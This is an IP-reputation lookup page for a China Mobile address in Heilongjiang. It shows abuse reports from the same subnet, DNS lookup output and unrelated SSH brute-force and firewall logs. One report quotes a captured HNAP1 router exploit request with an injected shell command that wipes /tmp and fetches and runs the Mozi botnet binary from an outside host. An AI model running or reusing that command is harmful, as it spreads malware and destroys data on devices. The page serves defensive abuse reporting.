111.42.6.214 - IPInfo

Basic Info

City: Suihua

Region: Heilongjiang

Country: China

Internet Service Provider: China Mobile

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:

Make a comment on this IP

No discussion about this IP yet. Click above link to make one.

Comments on same subnet:

IP	Type	Details	Datetime
111.42.66.27	attack	Unauthorized connection attempt detected from IP address 111.42.66.27 to port 8080	2020-05-31 03:43:33
111.42.66.150	attackbotsspam	Honeypot attack, port: 5555, PTR: PTR record not found	2020-05-21 03:30:06
111.42.66.48	attackbots	Unauthorized connection attempt detected from IP address 111.42.66.48 to port 8080 [T]	2020-05-09 18:54:19
111.42.66.143	attackbots	WEB Remote Command Execution via Shell Script -1.a	2020-05-09 07:20:47
111.42.66.43	attackbots	Automatic report - Port Scan Attack	2020-05-08 07:03:12
111.42.66.48	attackspam	Unauthorised access (May 6) SRC=111.42.66.48 LEN=60 TOS=0x04 TTL=52 ID=27433 DF TCP DPT=8080 WINDOW=5840 SYN	2020-05-07 01:18:13
111.42.67.31	attackspam	Unauthorized connection attempt detected from IP address 111.42.67.31 to port 2323 [T]	2020-04-14 23:25:30
111.42.66.162	attack	Honeypot attack, port: 81, PTR: PTR record not found	2020-04-12 21:54:06
111.42.67.77	attackspam	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://111.42.67.77:38257/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m` Content-Length: 640 2020-04-06 12:23:14
111.42.67.49	attackbotsspam	Fail2Ban Ban Triggered	2020-03-28 16:26:23
111.42.67.72	attackbotsspam	suspicious action Thu, 27 Feb 2020 11:22:32 -0300	2020-02-28 03:23:14
111.42.66.151	attackspam	111.42.66.151 - - \[21/Feb/2020:05:56:51 +0100\] "POST /HNAP1/ HTTP/1.0" 301 551 "-" "-"	2020-02-21 14:49:02
111.42.66.45	attackspambots	unauthorized connection attempt	2020-02-16 19:18:24
111.42.66.31	attackspambots	Automatic report - Port Scan Attack	2020-01-30 21:38:03
111.42.66.36	attackspambots	Unauthorized connection attempt detected from IP address 111.42.66.36 to port 23 [J]	2020-01-29 03:41:57

Whois info:

Dig info:

; <<>> DiG 9.10.3-P4-Ubuntu <<>> 111.42.6.214
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 12510
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;111.42.6.214.			IN	A

;; AUTHORITY SECTION:
.			190	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022040201 1800 900 604800 86400

;; Query time: 20 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sun Apr 03 08:34:26 CST 2022
;; MSG SIZE  rcvd: 105

Host info

b'Host 214.6.42.111.in-addr.arpa not found: 2(SERVFAIL)
'

Nslookup info:

;; Got SERVFAIL reply from 183.60.83.19, trying next server
Server:		183.60.82.98
Address:	183.60.82.98#53

** server can't find 214.6.42.111.in-addr.arpa: SERVFAIL

Related IP info:

Related comments:

IP	Type	Details	Datetime
83.97.20.167	attackspambots	Jan 29 22:51:50 debian-2gb-nbg1-2 kernel: \[2593973.650468\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=83.97.20.167 DST=195.201.40.59 LEN=81 TOS=0x00 PREC=0x00 TTL=246 ID=7235 PROTO=UDP SPT=29509 DPT=389 LEN=61	2020-01-30 05:54:51
106.13.84.75	attack	Jan 29 11:17:54 eddieflores sshd\[15840\]: Invalid user shantanu from 106.13.84.75 Jan 29 11:17:54 eddieflores sshd\[15840\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.13.84.75 Jan 29 11:17:56 eddieflores sshd\[15840\]: Failed password for invalid user shantanu from 106.13.84.75 port 59830 ssh2 Jan 29 11:20:38 eddieflores sshd\[16151\]: Invalid user umar from 106.13.84.75 Jan 29 11:20:38 eddieflores sshd\[16151\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.13.84.75	2020-01-30 05:32:26
104.131.13.199	attack	Jan 29 22:17:43 meumeu sshd[14448]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=104.131.13.199 Jan 29 22:17:45 meumeu sshd[14448]: Failed password for invalid user visoka from 104.131.13.199 port 53466 ssh2 Jan 29 22:20:12 meumeu sshd[14816]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=104.131.13.199 ...	2020-01-30 05:41:39
222.186.175.163	attackspam	Jan 29 22:39:26 v22018076622670303 sshd\[3764\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=222.186.175.163 user=root Jan 29 22:39:28 v22018076622670303 sshd\[3764\]: Failed password for root from 222.186.175.163 port 65270 ssh2 Jan 29 22:39:31 v22018076622670303 sshd\[3764\]: Failed password for root from 222.186.175.163 port 65270 ssh2 ...	2020-01-30 05:43:03
122.228.19.79	attackbotsspam	Unauthorized connection attempt detected from IP address 122.228.19.79 to port 110 [J]	2020-01-30 05:32:07
181.49.107.162	attackspam	Unauthorized connection attempt detected from IP address 181.49.107.162 to port 2220 [J]	2020-01-30 05:31:35
221.231.126.44	attackspambots	Jan 29 22:16:25 MainVPS sshd[24220]: Invalid user victoria from 221.231.126.44 port 49626 Jan 29 22:16:25 MainVPS sshd[24220]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=221.231.126.44 Jan 29 22:16:25 MainVPS sshd[24220]: Invalid user victoria from 221.231.126.44 port 49626 Jan 29 22:16:27 MainVPS sshd[24220]: Failed password for invalid user victoria from 221.231.126.44 port 49626 ssh2 Jan 29 22:20:15 MainVPS sshd[31131]: Invalid user nischith from 221.231.126.44 port 48990 ...	2020-01-30 05:52:00
62.234.154.222	attack	Jan 29 22:07:25 game-panel sshd[20705]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=62.234.154.222 Jan 29 22:07:27 game-panel sshd[20705]: Failed password for invalid user reshma from 62.234.154.222 port 60744 ssh2 Jan 29 22:09:32 game-panel sshd[20840]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=62.234.154.222	2020-01-30 06:10:14
139.199.103.153	attackspam	Unauthorized connection attempt detected from IP address 139.199.103.153 to port 2220 [J]	2020-01-30 05:51:18
222.186.30.12	attack	Jan 30 00:53:46 server sshd\[31491\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=222.186.30.12 user=root Jan 30 00:53:47 server sshd\[31489\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=222.186.30.12 user=root Jan 30 00:53:48 server sshd\[31491\]: Failed password for root from 222.186.30.12 port 48704 ssh2 Jan 30 00:53:48 server sshd\[31489\]: Failed password for root from 222.186.30.12 port 17588 ssh2 Jan 30 00:53:50 server sshd\[31491\]: Failed password for root from 222.186.30.12 port 48704 ssh2 ...	2020-01-30 05:56:56
115.110.193.166	attackbotsspam	$f2bV_matches	2020-01-30 06:11:20
31.27.38.242	attackspambots	Jan 29 11:17:23 eddieflores sshd\[15804\]: Invalid user paramita from 31.27.38.242 Jan 29 11:17:23 eddieflores sshd\[15804\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=net-31-27-38-242.cust.vodafonedsl.it Jan 29 11:17:25 eddieflores sshd\[15804\]: Failed password for invalid user paramita from 31.27.38.242 port 42376 ssh2 Jan 29 11:20:25 eddieflores sshd\[16135\]: Invalid user jashika from 31.27.38.242 Jan 29 11:20:25 eddieflores sshd\[16135\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=net-31-27-38-242.cust.vodafonedsl.it	2020-01-30 05:44:50
13.58.42.154	attackspambots	404 NOT FOUND	2020-01-30 05:56:38
222.186.42.136	attackspam	Jan 30 03:03:57 areeb-Workstation sshd[28782]: Failed password for root from 222.186.42.136 port 35525 ssh2 Jan 30 03:04:00 areeb-Workstation sshd[28782]: Failed password for root from 222.186.42.136 port 35525 ssh2 ...	2020-01-30 05:35:35
180.153.28.115	attack	Unauthorized connection attempt detected from IP address 180.153.28.115 to port 2220 [J]	2020-01-30 06:10:52

Recently Reported IPs

111.42.253.104	111.42.89.23	111.43.123.152	111.43.123.2
20.249.185.59	111.43.19.11	111.77.217.86	111.77.22.12
111.77.22.251	111.77.96.192	111.77.96.202	111.77.96.237
47.246.58.113	111.77.97.219	111.79.192.148	111.79.193.115
111.79.208.239	111.79.211.147	111.79.212.117	111.79.212.137